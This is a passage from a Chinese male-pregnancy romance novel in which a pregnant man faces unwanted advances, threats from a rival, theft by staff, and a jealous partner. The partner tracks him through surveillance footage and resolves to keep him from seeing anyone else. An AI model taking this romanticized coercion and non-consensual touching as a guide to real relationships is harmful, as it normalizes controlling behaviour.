沈茁出神时,岑复春按耐不住潜进了厨房。 他轻轻关上门,幽灵般悄然靠近正在洗水果的沈茁。 抬手环住沈茁的腰身,隔着衣服岑复春痴迷地吻上了他的脖颈。 突然被人抱住,沈茁的第一反应是拼命挣扎。 “谁?你放开我!” 他奋力挣脱,声音里满是惊恐,待看清岑复春的脸后,沈茁顿了下:“岑复春?你做什么?你别这样,快放开我!” 想用力砸向岑复春的手,但他好死不死刚好环在自己的腰上,沈茁无奈只能一边向后踢岑复春的腿一边去掰他的手。 “别动,沈茁,你别动,让我好好抱一会儿,就一会儿。” 岑复春气息紊乱,任凭沈茁如何踢打都不松手。 他爱怜的抚上沈茁的肚子,硬挤进沈茁的脖间,贴着沈茁的耳朵撕咬:“我知道,我知道你怀孕了,沈茁你停下来听我说。” “什么?”沈茁瞪大了眼睛,惊得连挣扎都忘记了,“你怎么知道,你为什么会知道?!” 他嘶吼着,眼泪因为惊恐潸然而下。 豆大的泪珠砸到岑复春手上,更加剧了他心里的快感。 “沈茁,我知道你怀里林庭安的孩子,我也知道他父母不喜欢你肚子里的孩子,你别怕,还有我呢。” “你知道的,你不会看不出我喜欢你,我想拥有你,只要你愿意我可以把你的孩子当做自己的孩子来养。” 岑复春收紧手臂,毒蛇般缠绕着沈茁,喷洒出的热气尽数打在了沈茁后颈,激得他整个人瑟缩成一团,好不可怜。 “你为什么会知道这些?”沈茁已经放弃了挣扎,他冷静下来努力想要捋清脑中的乱成一团的线,“你放开我,我要回家,我不要听你说这些,我要回家!” “沈茁,你知道小佳有多可怜吧,你也不希望你的孩子变成小佳那样吧,嗯?” “你知道的,跟林庭安的父母拼手腕是不会有什么好结果的,”岑复春的话如恶魔低语,针一样刺进沈茁的心,“林庭安想要个男孩要多简单有多简单。” “到时候你一个男人生下的孩子该如何自处?你想过吗?” “我不知道,我不知道!” 沈茁奋力拍打岑复春的手臂,他哭喊道:“你放开我,我要回家!” “乖一点,你乖一点,”岑复春松开手,扳过沈茁的肩让他面对自己,“沈茁,我和小佳都很喜欢你,你要知道我们家永远欢迎你。” “我这里并不比林庭安差,”他挑起沈茁的下巴,抬手拭掉沈茁眼角的泪,“我也可以给咱们的女儿最好的生活,你不要着急拒绝,好好想想,好吗?” 沈茁看着岑复春的眼睛,心里竟然有一丝动摇。 离开……林庭安吗? “我永远是你的后盾,是你的退路,你有时间做出选择,我相信你一定会做出最正确的抉择。” “你是个聪明人,沈茁,我知道你最聪明了,好好想想吧,乖孩子。” 回家的路上,沈茁的脑子里反复闪过岑复春最后这两句话。 他的眼泪流了一路,直到上了楼才想起来要擦干。 走出电梯,沈茁没急着进门,他站在门口换了拖鞋,开始思考岑复春那一番话的可行性。 后盾,退路…… 曾经沈茁是多么希望自己可以拥有着两样东西,现在有了他怎么却高兴不起来呢? 一想到会离开林庭安,他会永远失去这个男人,仟仟会失去她的亲生父亲,沈茁的心就会开始钝疼。 原来在不知不觉间,他已经喜欢林庭安到这个地步了吗? 只一上午就发生了这么多事,周遭的环境冷不丁安静下来,沈茁身上的疲惫便如潮水侵袭而来。 他身形晃动,扶着鞋柜才堪堪稳住自己的身体。 突然,手掌像是按到了什么东西。 沈茁晃了个神,把那东西捏下来一看,竟然是张纸条。 将纸条展开,入目是一长串地址,和一个精确到分钟的时间。 有人要约自己见面。 沈茁瞬间读懂了这张没有落款的纸条,他缓缓抬头望向墙角的监控摄像头。 这个人会是谁呢? 第76章 下午三点, 沈茁按照纸条上的地址来到了一家咖啡馆。 来之前他特意去物业看了家门口的监控,放纸条的人显然没有想要伪装自己的意思,沈茁清晰地看到了一张并不陌生的脸。 那人甚至仰起脑袋盯着摄像头看了许久,生怕别人看不清他的脸似的。 虽然感情经历淡薄, 但在监控室的大屏幕上的看到那张精致的脸时, 沈茁一下子就想通了。 脑中一闪而过那天闵舟环住林庭安的胳膊, 还有他看似无意实则暧昧亲昵的举动。 如此种种,沈茁还有什么不明白的呢? 短短两天发生了太多事情, 沈茁感觉身后像是有双无形的手, 不断推着他往前走。 他不知道前方是悬崖峭壁还是柳暗花明, 他只能走下去,走向未知的未来。 这几日都是连绵的阴天,天公不作美,寒气里像夹了刀子割得人肉疼。 沈茁只穿了一个单裤, 上身是白衬衫和深黑色的过膝大衣。 下了车他打了个寒颤, 呼吸时嘴里不断吐出许多白气。 裹紧身上的衣服,沈茁加快脚步走进了咖啡馆。 这家咖啡馆的位置很隐秘, 店里没什么客人, 只有一个穿着浅咖色羊毛大衣的男人坐在靠窗的位置。 很显然, 这就是约沈茁见面的人。 沈茁抬脚朝男人走去,疾步而过时大衣下摆卷起了一个悠扬的弧度。 一阵风掠过鼻尖,他闻到了一股熟悉的花香味。 沈茁从没觉得他的记忆竟然这么好,只一瞬就想到了那天在林庭安身上闻到的香味。 那道花香, 那个全家没有人喜欢却莫名出现在林庭安身上的香味。 沈茁晃了个神,他并不怀疑林庭安,只是这无疑证实了他心里的猜想。 闵舟对林庭安的感情不简单。 “你很准时,我还以为你现在身体不方便会迟到呢。” 闵舟甩出腕表看了眼, 面上是胸有成竹的浅笑,他腰背挺直虽是仰头看着沈茁,却莫名有种居高临下的感觉。 “你想跟我说什么?”沈茁拉开椅子坐下,锐利的目光扫过闵舟的脸,“你费尽心思约我过来,应该不只是为了寒暄吧?” “放轻松,别这么紧张。” 闵舟指了指沈茁面前正冒着热气的咖啡:“特意给你点了热的。” “你现在这种情况不适合喝凉的,”他咬着牙瞪向沈茁的肚子,很快又恢复神色,突然笑了下,“哎呀,我忘了你现在不能喝咖啡。” “我不渴,”沈茁目光如炬,语气艰冷,“你有什么就直说,不用拐弯抹角的。” 他看着闵舟逐渐冷下来的脸,心里没由来的平静。 任何困难艰险,只要挺过去就会从磨难变成礼物,沈茁懂得这个道理。 现在他只需要鼓足勇气面对,往后的路必不会比现在还要艰难。 “你很幸运,虽然是男的却可以怀孕。”闵舟垂眸喃喃。 他用勺子搅拌着面前的咖啡,手上的动作越来越快,杯中的液体被搅成旋涡溅了出去,“这孩子也很会投胎,选了林庭安这么个好爸爸。” “你到底想说什么?”沈茁手心发汗,厉声问道。 “我在夸你呀,你听不出来吗?” 闵舟嗤笑了声,突然停下动作把手中的勺子扔到了杯子里。 银质的勺把撞上陶瓷杯具,发出了道清脆的撞击声。 那声音就像驱鬼的铃音,听得沈茁头皮发麻。 闵舟究竟是从哪里知道他怀孕的消息的? 岑复春知道,闵舟也知道,沈茁强压着心里的惊慌,到底还有多少人知道这件惊世骇俗的事! “你很幸运,但却不是百分之百的幸运。” 闵舟自顾自道:“你不知道吧,林庭安这人其实挺倔的,他的性取向其实不是什么秘密,对于他们这个阶层的人来说,性取向也从来不是传宗接代的阻碍。” “偏偏林庭安不愿意用科技手段要个孩子,他父母这才会把你肚子里这个当个宝。” “不然你以为你有什么特别的,你的家世、你的学识、甚至你的性别,”闵舟停顿了一下,笑道:“有哪一个是够得到林庭安的?” “你说这些刺激不到我。” 沈茁放在桌下的手暗暗握成了拳,指甲深陷进肉里,脸上却依旧风平浪静,“就算你说的是真的那又如何?我就是千百个配不上林庭安,他也是我孩子的爸爸。” “他依旧会每天晚上抱着我睡觉,扶着我上厕所,给我肚子里的孩子讲故事,亲吻爱抚,我只知道这些是真的,而你说的……” “这些小情小义算得了什么?!” 闵舟猛地拍向桌子,只听砰的一声,桌上的咖啡被震出了大半。 正在清理吧台的店员吓了一跳,朝两人的方向看了眼,到底没敢过去打扰。 “你想表达什么?是想说林庭安很爱你吗?”闵舟撑着桌面半弓起身,凑到沈茁面前,一字一句道:“只可惜你肚子不争气,生不出林家满意的继承人。” 说到这儿,闵舟释然一笑。 他重新坐回到沙发上,抽出纸巾擦拭被咖啡染污的衣袖:“林庭安的爸妈想抱孙子很久了,你不能让他们满意,他们自然有很多办法达成他们的目的。” “你是很特别,但这个世界上不会只有你这一个特别的人。” 闵舟笑了笑,声音戛然而止没有继续说下去。 沈茁心里咯噔一下,特别的人? 他瞳孔骤放,刹那读懂了闵舟话里的意思。 这是说林庭安的父母正在背地里寻找其他会怀孕的男人,然后呢? 找到了之后呢? 沈茁身体发抖,太阳穴突突地跳。 “我只提醒你这些,这些权贵的手段五花八门想必你也了解,就不用我多说了吧?” 闵舟将脏污的纸巾团成团,随手扔到了咖啡杯里:“你现在不如好好考虑一下另寻出路,否则跟林建群和唐卿斗,只会把你自己折进去。” “我言尽于此,”闵舟站起身,“剩下的你自己考虑吧。” “等一下!” 见闵舟要走,沈茁立刻起身拉住了他的手腕:“如你所说,就算你把我逼走,林庭安也不会喜欢你,他父母也不会同意你上位。” “这就不用你操心了。” 沈茁的话精准刺痛了闵舟,闵舟后槽牙都快咬碎了,他抬起胳膊想要甩掉沈茁的手。 奈何沈茁用了十成的力气,闵舟硬是被钉在了原地。 争执间两人都踉跄了下,待稳住身形沈茁靠近闵舟,小声说:“之前我的手机突然出故障,给我推送一些没头脑的推文,是你干的吧?” “是我又怎么样?”闵舟一脸无所谓地说,“你知道又如何?” “没什么,”沈茁蓦地笑了,他松开闵舟的胳膊,向后退了几步,“以后别再做这些不入流的事了。” “真的挺幼稚的。” “你!”闵舟头顶冒火,精致的五官扭曲在一起,狠狠道:“笑吧,希望你以后还能像现在这样笑出来。” 说完,他推开椅子带着满身火气离开了咖啡馆。 直到闵舟的身影消失在视线里,沈茁才捂着肚子跌坐回了原位,刚才他太用力不小心抻到了腰,连带着肚子都开始发疼。 仟仟,这几天你可千万要乖一点,不要闹爸爸,让爸爸认真想一想我们的以后。 回家的路上,沈茁从衣兜里掏出了小仟仟的玩偶。 他一遍遍抚摸玩偶的发顶,脑中环绕着闵舟和岑复春的话。 那些或痴狂或恶毒的言语刺一样扎进沈茁的心,他怎么都甩不掉也逃不开。 沈茁到家时,落日正悬在半空。 金黄的余晖投进屋内,照映出了三个忙碌的身影。 王秋梅正在跟另外两个阿姨分水果,见沈茁回来她立刻上前迎人:“沈先生,您回来啦。” “嗯,”沈茁脱掉外衣,被王秋梅扶去了卧室,“王阿姨,你回房间歇着去吧,外面那些活不用你干。” “我这不是怕她们手脚不利索,”王秋梅看着沈茁略显的消瘦脸,心疼道:“沈先生,以后别总出去了,我看您这两天瘦了不少。” “林先生回来该心疼了。” “没事,瘦点也好,”提到林庭安,沈茁心中顿感酸涩,他摆了摆手说:“王阿姨,你回去歇着吧,我也要休息一会儿。” “好,您有事再叫我。” 残阳似烈火,融化了凛冽的风。 沈茁凝望着窗外的晚霞,走过去打开了窗户。 大概是林庭安怕他冷,所以让人打开了空调制暖。 窗户一开,外面的凉风便顷刻涌入吹散了暖气,也将沈茁心里的郁结吹开了大半。 他知道林庭安一定是喜欢他的,否则不会对他这么上心。 只是这份喜欢究竟有多少呢? 他好怕这份喜欢只是半杯没倒满的水,看似平稳地放置在桌上,实际风雨稍微大一些就会被吹倒。 届时杯子会碎,覆水也再难收回。 叹了口气,沈茁换上睡衣钻进被窝小憩了一会儿。 睡醒时天已经完全黑了,他揉着脑袋起身,打算去冰箱找些水果吃。 刚走到客厅就听厨房传来了窸窸窣窣的对话。 “张姐,这水果好,我洗一半剩下的一半你带回去吧。” “诶呀,不用不用,这我哪能要,”张姐笑呵呵摆手,嘴上推辞眼睛却一直往那箱水果上瞟,“这不好。” “这有什么不好的,家里这个小怪物也吃不了多少,不然也是扔了,还不如咱们吃了呢。” “还真是,你说这有钱人真够浪费的,”张姐瞬间改了主意,“小赵,你也拿点,我记得你家里是不是有老人孩子,冰箱里的燕窝你也拿些。” 小赵一听立马乐开了花:“诶呦,那我可就不客气了。” “这家里东西多,不会被发现了,你想拿什么就拿。” 两人欢声笑语,一口一个“小怪物”称呼着家里的主人,不要钱一样几句话就把沈茁家里的东西搜刮了个干净。 沈茁气得不行,刚想走过去制止,就听那个叫张姐的说:“你听说了吗,那小怪物怀的是个丫头。” “呀,张姐你怎么知道的?” “我就是从老宅过来的,跟里面的人都有联系,听她们说唐夫人因为这个愁得不行,正寻么着要再给林先生找伴儿呢。” “真的假的?”小赵来了兴致,忙道:“你说这小怪物命是好还是不好,生个丫头以后在家里可怎么办。” “谁说不是呢,”张姐边挑拣箱子里的新鲜水果,边小声说:“要我说林先生以后肯定要另找,屋里这个十有八九会被打发走。” “也是,你别说大户人家了,就是我们村里都……” “滚出去!” 沈茁实在听不下去了,他冲到厨房指着蹲在地上的两人,呵斥:“你们都给我滚出去!” “沈……沈先生,”张姐瞬间变了脸色,手里的瓜果滚落在地,“沈先生你听我解释……” “我说滚出去,”沈茁一字一句不容置喙:“马上滚我可以当做什么都没听到,不然我们就叫警察来算一算你们之前从家里拿了多少东西。” 他气得浑身发抖,小腹处更是传来了阵阵疼痛。 沈茁脸颊涨红,此时他已经不想再计较一些乱七八糟的事了,他只希望这些人能离开他的家,赶快离开! “我们走,我们马上走,”小赵忙不迭起身,瑟瑟发抖跟在张姐身后,“您大人不记小人过,就饶了我们这一回吧。” “滚。”沈茁低吼。 他是真动了怒,声音嘶哑如猎豹,将本就脸色煞白的两人惊得说不出话。 一阵慌乱的脚步声,两张大白脸推门而出,落荒而逃跑了出去。 林庭安说的对,作为家里的主人确实该硬气些,这样才不会被人骑到头上来欺负。 沈茁拖着沉重的肚子回到房间,他坐在床边看向窗外。 这是个没有星月的夜,入目只有点点灯光彰显着这个城市的繁华。 小腹的坠疼愈加强烈,沈茁好气,气他从前的软弱,气他的好脾气。 如果不是他性格懦弱,他的宝宝就不会被欺负。 为什么总是学不会硬气一点呢? 沈茁低声抽泣着,他好后悔,后悔没有在一开始就表明自己的态度。 他以为他和颜悦色地对别人,别人也会这样对他自己。 不过现在发现也好,总归是不晚的。 深吸口气,沈茁任由滚烫的热泪浸湿身上的衣服。 镇定下来,他才开始思考那两个阿姨的对话,林庭安真的会另找吗? 他真的会有别的孩子吗? 一想到会有别的小孩用稚嫩的声音叫林庭安爸爸,沈茁的心脏就像被刀剜掉了一块似的。 何止是疼,更是鲜血染红刀子的寒凉。 他不要他的仟仟跟别的共享父亲,他知道一碗水是绝对端不平的。 庭安,你说过这辈子都只会有仟仟一个孩子的。 你说过的。 沈茁掩面而泣,肚子里的孩子像是感受到了他的情绪,狠狠踢了下他的肚子。 “宝宝,乖仟仟,对不起,爸爸不哭了。” 他不断擦拭脸上的泪水,奈何心在流血,泪怎么也止不住。 “爸爸不哭了,对不起,爸爸不哭了。” “乖孩子,你也不要哭好不好,对不起,呜呜呜,爸爸也不想哭的,对不起。” 泪水顺着指缝溢出,沈茁跌坐在地,突然身下一热。 他猛地怔住了,颤抖着手摸向地板,手指触碰到了一片温。热的液。体。 很红,这样刺目的颜色沈茁已经很久没见过了。 他被林庭安照顾得很好,早就忘记了下身流血时那种疼痛的流失感。 沈茁呆坐在原地,良久,他再没了哭意。 起身去卫生间换了件衣服,沈茁面无表情爬上了窗边的沙发。 他抱着双腿目光呆愣,像是在想什么又好像什么都无法思考。 这天晚上林庭安没有打电话过来,沈茁也没有主动打给林庭安。 他只是这样坐着,从天黑到天明。 天光破晓时,沈茁冰雕般的脸上才终于有了松动。 冰纹碎裂,他僵硬地掏出手机,拨打了一个号码。 “喂,你今天什么时候有时间,我们见一面吧。” 第77章 “林董, 机票已经定好了,您确定要提前回去吗?王总那边……” “让卫钊去,”林庭安不断转动手里的钢笔,目光穿过酒店的窗户投向了京都的方向, “他是副总, 又是卫家人, 对方不会不给他面子。” “最早的航班是凌晨四点的,不对, 这个班机满员了, 那就只有……” 张垣站在林庭安身后, 抬头看了眼林庭安的后脑勺,抖着声音说:“因为天气原因,取消了很多航班,最近的就只有明早六点的了。” “如果航班不推迟的话, 估计要将近九点才能到京, 您看……” 张垣的声音越来越小,拿平板的手蹭蹭冒汗, 林庭安周身的气压太低了, 这让他没由来地害怕。 早上的咖啡买的是黑咖不是拿铁, 中午订的餐食也是严格按照标准订购的,下午讲行程安排的时候也没出错。 这低气压应该跟他没关系吧? “我不在家这两天家里有去什么人吗?” 通身白玉色的钢笔在白皙修长的手指间来回穿梭,林庭安仔细回想晚上视频通话时沈茁的种种表现。 不对劲。 细小到不易察觉的抽泣声不对劲,突然提出要给宝宝换个名字不对劲, 强扯出笑容的僵硬嘴角不对劲。 哪里都不对劲。 “那边的人说没什么异常,”张垣在平板上点了几下,汇报道:“您出差前一天林老先生和夫人来家里带沈先生去了医院。” “第二天顾家小公子来家里开车带沈先生去了雅和,估计是去找邢医生了, 然后……” “邢远?” 咔哒一声,闪着金光的钢笔帽撞上了桌面,林庭安侧身看向张垣,蹙眉问:“沈茁去找邢远了?” “是的,”张垣被问得心里发慌,忙看了眼屏幕,再三确认后笃定道:“沈先生在雅和带了不到一个小时,然后才回家。” “行了,不用说了,”林庭安闭上眼睛,深吸口气,“就定六点的机票,我要马上回京。” “好的,那您现在?” 张垣不敢多问,他隐约觉得这事不简单,恐怕要闹上一阵了。 “不用管我,你叫人仔细查一下我不在家这两天沈茁都去了哪见了谁,要详细的一五一十的消息!” “好的,那您再休息一会儿,我去订票。” 说完,张垣放轻脚步推门走了出去。 林庭安换掉身上的睡衣,穿了上了临行前沈茁塞进他行李箱的那套休闲装。 走到窗边,凝望着脚下万千灯火,林庭安心中的不安越来越强烈。 为什么爸妈会带沈茁去产检,之前的几个月他们从未插手过沈茁产检的事情,怎么会突然转了性呢? 沈茁又为什么会在第二天去找邢远? 邢远…… 邢远! 林庭安眼睛一亮,他快步走到客厅,拿起手机给邢远拨了个电话。 “诶呦,我说你可真会挑时候来电话,我今晚值班刚寻思眯一会,得嘞,您一通电话我这觉就不用睡了。” 邢远声音发哑,听起来很疲惫的样子。 林庭安已经顾不得其他了,急切道:“沈茁是不是去找你了?” “最近是来找我了,怎么了?”邢远半眯着眼睛,随口回答:“还是他说我才知道你最近在出差,怎么,想老婆了?” “邢远,沈茁那天找你说了什么?他有没有什么不对的地方?” 林庭安握紧手机,因为紧张手臂的肌肉瞬间紧绷起来,撑开了略微宽松的衣袖。 他站在亮如白昼的灯光下,像是一团燃得正旺的火。 迫切,急躁。 “嘶,我想想,”林庭安的语气太过严肃,邢远瞌睡全无,开始仔细回想那天跟沈茁的对话,“他问我他以后还能不能生二胎。” “就这个?”林庭安追问。 “好像就问了这个,”邢远狠狠拍了下脑袋,突然想到了什么,高声道:“临走的时候他还莫名其妙问了我一个问题。” “什么问题?” “他问我有没有什么办法,能在不伤害身体的情况下让人不孕不育。” 此言一出,两人都察觉到了不对。 “我去,”邢远瞬间从椅子上弹了起来,磕磕巴巴道:“我……我那时候,我真没想那么多,不能吧。” “小沈平时看着蔫蔫巴巴的,恨不得你骂他他都不回嘴的主,怎么可能……” “怎么可能想给你绝育呢?” 邢远这话说得话糙理不糙,林庭安听了胸膛起伏愈加强烈,“我知道了,谢谢,你休息吧。” 说完,不等邢远再说什么,他立刻挂断了电话。 一定发生了什么。 林庭安一屁股坐到沙发上,如同泄了气的皮球,那样子仿佛灵魂早已脱离了**。 沈茁,到底发生了什么,你为什么不能直接告诉我呢? 这么长时间,你还没有完全信任我吗? 不论发生了什么,等明天回了家,我一定要你亲口说出来。 * 家里的司机是二十四小时待命的,这几日林庭安不在家,沈茁出门又很频繁,司机摸不准行程,早八点就会开车过来待命。 沈茁不希望他今天的行程被人知道,提前给王秋梅放了假,特意避开司机的时间,七刚出头就穿好衣服出了门。 今天的天气格外硬冷,清晨的露水变成了满地白霜。 沈茁裹紧衣服,小心翼翼走在吱嘎作响的银霜上。 这样灰蒙的天气,这样清脆的声音,不由让他幻视跟姥爷生活在一起的日子。 从前无数的雪天,他总是听到这样的声音。 像滋滋作响的火炉,火星迸发时发出的声响。 沈茁穿了件带绒的短款上衣,裤子是宽松的休闲裤。 肥硕的裤腿包裹在他纤细的双腿上,让他整个人看起来更加纤瘦了。 薄薄的一片白上是沈茁黑色的身影,他走得很小心,小小的一个人如同蹒跚学步的孩子正在踽踽前行。 他双手插手,口袋里只有一部手机和一个小小的玩偶。 电话里,他约岑复春见面的时间是上午九点半。 现在天光渐亮,沈茁打算在外面走一圈,沉淀好情绪再去见岑复春。 说实话,他真的想不明白岑复春为什么会喜欢他。 他不觉得自己有哪里值得别人喜欢的,包括林庭安,沈茁觉得林庭安会喜欢自己至少有一半是因为孩子。 或许感情的事就是这么无厘头,真是叫人猜不准摸不透。 寒冷的时间总是过得很慢,沈茁先是去早餐店吃了几个包子,然后散步去了两人约好的咖啡厅。 走到目的地时还没到八点,他就在周围转了一圈。 九点二十,他从对面街的一家婴儿用品店走了出来,手里多了两个色彩鲜艳的袋子。 那是给仟仟买的小衣服,和一个带小羊角的可爱宝宝帽。 沉静了一晚上,沈茁想通了很多事情,往后无论发生什么他都不要再让自己陷入过激的情绪里。 仟仟现在已经大了,她还有不到半年就要出生,她对母体的情绪是有感知的。 沈茁不希望仟仟感受到他不好的情绪,他希望宝宝一直都是开心的。 阳光开朗如向阳而开的太阳花,热情激扬如火红的玫瑰。 像什么都好,就是不要像他,是个苦唧唧的狗尾巴草。 这家咖啡店大开门时间是八点半,沈茁买完东西出来店铺已经开门了。 他推门而入,刚迈进门脚步就顿住了。 岑复春正坐在店铺靠窗的位置,他面前的桌子上是冒着热气的牛奶和咖啡。 “抱歉,去买了点东西耽误了一些时间。” 沈茁坐到岑复春对面,随手把手里的东西放在了椅子上。 “没关系,现在还不到半点,是我坐不住提前来了,”岑复春的目光落在了那两个纸袋上:“是给孩子买的吗?” 他笑得如沐春风,熟络的口吻就好像他是孩子的另一个父亲。 “看着可爱就买了。” 沈茁还是有些不自在,他逃避掉岑复春热烈的眼神,端起热牛奶浅浅喝了一口。 “牛奶我叫人做了温的,现在喝正好。” 说着,岑复春从脚边拎起一袋东西,推到了沈茁面前:“这是我给孩子买的,你看看喜不喜欢?” “你不用这样的,其实我……” 沈茁扶住袋身,想把东西推回去,岑复春见状立刻握住了沈茁的手,烫人的热度几乎要将沈茁的手背灼穿。 “是我送给孩子的,你看看再拒绝也不迟。” “你别这样。” 沈茁的呼吸骤然加重,他手臂用力想抽回自己的手,奈何岑复春却握得更紧了。 “沈茁,我是真的喜欢孩子,也是真的喜欢你,你能约我出来我很开心,这也就意味着你听进去了我那天说的话。” “先别想着拒绝,好吗?”岑复春捂热了沈茁冰凉的手,笑着说:“你先看看喜不喜欢这些,不喜欢的话我再买别的。” “好……好吧。” 沈茁忽略掉心里的负罪感,待岑复春松手后他打开那袋东西看了一眼。 里面是几个包装精美的盒子,光看盒身就价值不菲,打开之后更是吓了沈茁一跳。 金灿灿的小手镯和平安锁并排躺在盒子里,还有缀满水晶的小皇冠和亮晶晶的发夹,每一样看起来都不低于六位数。 “这太贵重了,我不能收。” 沈茁合上盖子,胆战心惊地把东西推了过去。 推到一半,岑复春硬生生把东西按在了桌上,他的脸上闪过一丝不耐,勾着嘴角说:“小茁,这是我的心意,不仅是对你,也是我给孩子的心意。” “别拒绝我,可以吗?” 最后这句话岑复春说得生硬,语调扭曲在一起,仿佛沈茁再不同意他就会拍案而起。 沈茁只好收下东西:“好吧,那我就替仟仟谢谢你了。” “很好听的名字,一定是个像你一样可爱的宝宝。” 这话太过直白,沈茁的脸没征兆地红了。 他尴尬地看向窗外,天依旧阴沉,像是要降雪。 去年京都的第一场雪是十一月末下的,今天的初雪会是什么时候呢? * 九点出头,阴云密布的空中快速划过了一道白线。 林庭安下了飞机就立刻坐车回了家。 家里没人。 屋子空落落的,连一丝生气都没有。 沈茁没在家,就连阿姨都不在家。 林庭安的心猛地一沉,想也没想,他立刻下楼让人调出了监控。 按照沈茁的出行路线,他一路找了过去。 开车去寻沈茁的路上,林庭安冷静得可怕,他的心狠狠揪在一起,只后悔没有早早在沈茁身上装好定位器。 沈茁太不听话了,不听话的孩子不应该得到自由。 握紧方向盘的手青筋暴起,林庭安双眼猩红,咬着牙开到了那家名为Space for style的咖啡馆。 这家店远离市中心,位置偏僻,人流量少得可怜。 林庭安把车子停在了店铺对面,他摇下车窗,透过店铺洁净的玻璃,看到了两个正在交谈的身影。 只一瞬,他的目光就被那张熟悉的脸深深吸引住了。 沈茁瘦了,下巴比他出差前尖了不少。 林庭安的第一反应是心疼,而后才是愤怒。 沈茁,你知道你还怀着我的孩子吗? 究竟是谁有这么大的面子,让你早早就穿好衣服下了楼去见他! 林庭安呼吸困难,他目光右移,下一秒整个人都顿住了。 这是…… 岑复春?! 沈茁为什么会跟他见面? 他们两个是怎么会扯到一起的? 林庭安直觉他错过了太多关于沈茁的事情,只是现在他根本无法冷静思考之前的种种。 因为他看到沈茁正端起杯子喝了一口里面的东西,他刚放下水杯岑复春就立刻抬手擦了下他的嘴角。 然后呢? 然后沈茁竟然低下头笑了,因为另一个男人而笑! 那样子就像一个害羞的少女! 林庭安后槽牙几乎要咬碎,沈茁,谁准许你对别人露出这样的表情的? 谁准许你的脸被别人触碰的? 你揣着我的崽,你怎么有胆子对别人笑的! 你的一切都是我的,你难道忘了,我说过的,你是属于我的! 握紧的拳头狠狠砸向了方向盘,巨大的撞击声在车内响起。 林庭安强压着心中感到怒火,启动发动机一脚油门把车开了出去。 火红的车身如同带血的利箭,咻地飞了出去。 冷风穿过车窗打在林庭安脸上,他非但没能冷静下来,眼中的火苗反而愈加旺盛。 沈茁,我最后再给你一次机会。 等回到家,你最好能给我一个合理的解释。 否则,我一定会让你这辈子都没有机会见到除我之外的人。 一定! 嗡嗡作响的发动机震动了天上的云,跑车飞驰在空旷街道上,不过片刻空中就下起了绵绵细雪。 今年的初雪比往年早了半个月,整个城市都提前入了冬。 林庭安的车如同一团烈火,顶着纯白的雪花烧了一路。 雪化在车上,寒气则烧进了林庭安的心里。 第78章 到了中午, 雪势愈演愈烈。 这是京都近几年来下得最大最早的初雪,纷飞的白将整个城市装点成了雪城,引得众人纷纷出来围观拍照。 沈茁踩着绵软的积雪,信步走在街上。 他一只手拎着几个手提袋, 另一只手插在口袋握紧了里面的小娃娃。 因为过冷而微微发红的手指缠绕在娃娃的头发上, 指尖在毛绒发丝中穿梭, 暗示着他内心深处的纠结。 “爸爸,爸爸, 你就陪我玩吧, 我今天肚子不疼了。” “那你去问妈妈, 要妈妈同意才行。” “那好吧……妈妈……” 经过一个小公园时,沈茁停下了脚步,他看到一家三口正在一片空地上打雪仗。 小女孩被裹得严严实实,头顶带了一个白色的针织帽, 帽子顶端有一个红色的蝴蝶结, 看起来就像一个可爱的雪顶草莓。 因为衣服穿得太多,小女孩走起路来跟小企鹅一样, 很是呆萌。 看样子小女孩是闹肚子了, 但是又贪玩, 便耍赖皮硬拉着爸爸妈妈陪她下来看雪。 爸爸做不了打雪仗的主,小女孩只能转过头去乞求妈妈。 红扑扑的小脸望向年轻的妈妈,小女孩噘着嘴,大眼睛忽闪忽闪的。 “妈妈, 我们就玩一个小时,”她竖起一根手指,用软萌的声音说:“妈妈,你看我比的对吗?” “媳妇, 就一个小时,”爸爸站在小女孩身后,也跟着求情,“晚上回家我给你们娘俩儿做饭,小宝好不容易这么开心,你就同意吧。” “真是服了你们了,”妈妈失笑,挑眉道:“就半个小时,时间一到必须上楼。” “好耶!” 小女孩回头跟爸爸击了个掌:“我爱爸爸妈妈!” 很快,公园里就传来了一家人嬉戏打闹的声音。 沈茁站在一颗光秃秃的大树下,也跟着露出了笑容。 那小女孩非常可爱,就跟个雪团子似的,脸上洋溢着灿烂的笑容,叫人看了心里直发暖。 沈茁深吸了一口新鲜空气,冷冽的风灌入鼻子,让他发昏的大脑清醒了不少。 这个小女孩完美地继承了爸爸妈妈的长相,有着跟妈妈一样的大眼睛,和爸爸一样高挺的鼻子。 他的仟仟会不会也继承他和林庭安的长相呢? 鼻子要像林庭安比较好,脸型也要像他,眼睛的话……像谁都可以,都很漂亮。 玩闹中,小女孩跑了老远出去,她跑到河岸边脚下突然踩到了一颗石子眼看就要栽倒。 旁观的沈茁猛地攥紧了拳头,一颗心很是提了起来。 好在小女孩的爸爸眼疾手快,拎小鸡崽一样把小女孩提溜起来抱进了怀里。 “哈哈哈,爸爸,你快放我下来,妈妈要打到我啦!” 小女孩完全没意识到刚刚的危险,边咯咯地笑边在爸爸怀里蹬腿。 沈茁突觉内心深处最柔软的地方被狠狠触动了。 他匆匆转身,快步走到路边打了个车回家。 对于仟仟来说,最好的结果还是跟自己的父亲在一起。 亲情和血缘是化不开的一条线,会将父女二人紧紧连在一起,况且林庭安是那么好的人,他肯定会是个好父亲的。 车窗外,景色迅速掠过,沈茁蓦地红了眼睛。 仟仟,爸爸愿意把所有的倒霉事都分走,只要你是幸运的,只要你爹爹是信守承诺的。 下了车,沈茁迈开步子往家里走。 他想回到家里躺在有林庭安味道的床上,抱着被子蜷缩成一团,那样他会很有安全感。 就好像被林庭安抱着一样,柔软又叫人安心。 用最快的速度上了楼,在看到大咧咧敞开着的门时,沈茁心里忽然生出了不好的预感。 他看着门口那双浅灰色的运动鞋,正是林庭安出差前他塞进行李箱里的那双。 心跳骤然加快,沈茁双腿像灌了铅,挪动了几分钟才踏进屋里。 天气阴沉,屋子里也暗得吓人。 林庭安双腿交叠坐在沙发上,他沉着脸雕塑似的一动也不动,仿佛已经保持这个姿势很久了。 沈茁深吸口气走进屋里,沉默地看着这个男人。 林庭安的脸色实在太难看,英俊帅气的脸上不见丝毫笑意,眼中更是布满了血丝。 衣袖被高高撸起露出了粗壮的手臂,上面青筋凸起,骇人不已。 沈茁站在门口看了许久,直到林庭安终于舍得抬起眼皮看他一眼,他才慢腾腾往屋里走了几步。 一大一小,一坐一站,高矮不一两个身影在沉寂中默默对峙着。 两人的眼神撞到一起,在空中擦出了道道火花。 像是在较劲,二人谁都没开口说话,只是这样无声地看着对方。 林庭安的火气并没有在这几个小时里消减,反而燃得更旺了。 他在等沈茁开口,等他说出一个合理的解释。 沈茁是惊慌的,他脸色煞白,小小的身躯瑟缩在一起,从肩膀到手臂都在发抖。 